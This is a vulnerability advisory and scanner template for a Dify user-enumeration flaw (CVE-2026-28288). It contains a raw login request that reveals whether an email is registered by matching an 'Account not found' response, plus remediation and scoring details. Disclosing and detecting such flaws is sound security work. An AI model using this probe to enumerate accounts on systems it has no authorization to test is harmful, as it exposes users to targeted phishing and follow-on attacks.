Dify is an open-source LLM app development platform. Prior to 1.9.0, responses from the Dify API to existing and non-existent accounts differ, allowing an attacker to enumerate email addresses registered with Dify. Version 1.9.0 fixes the issue.
PoC
id: CVE-2026-28288
info:
name: Dify User Enumeration via Observable Response Discrepancy
author: DhiyaneshDk
severity: medium
description: |
Dify is an open-source LLM app development platform. Prior to 1.9.0, responses from the Dify API to existing and non-existent accounts differ, allowing an attacker to enumerate email addresses registered with Dify. Version 1.9.0 fixes the issue.
impact: |
Attackers can enumerate registered email addresses, potentially aiding further targeted attacks or phishing.
remediation: |
Update to version 1.9.0 or later.
reference:
- https://github.com/langgenius/dify/security/advisories/GHSA-9qpf-wcv3-w3qx
- https://github.com/langgenius/dify/issues/24323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-28288
epss-score: 0.00635
epss-percentile: 0.4878
cwe-id: CWE-204
metadata:
verified: true
max-request: 1
tags: cve,cve2026,dify,user-enum,info-leak
http:
- raw:
- |
POST /console/api/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"nonexistent{{randstr}}@example.com","password":"{{randstr}}","language":"en-US","remember_me":true}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Account not found"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 400
# digest: 490a0046304402201e85af359ef52abb6713c307ca5d84375898862cd722bcb9f525a32dca57fe09022042160e37975619aa7cd33e66b947c0e1dfa5f641d9fbbc27682d6e96e370f438:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.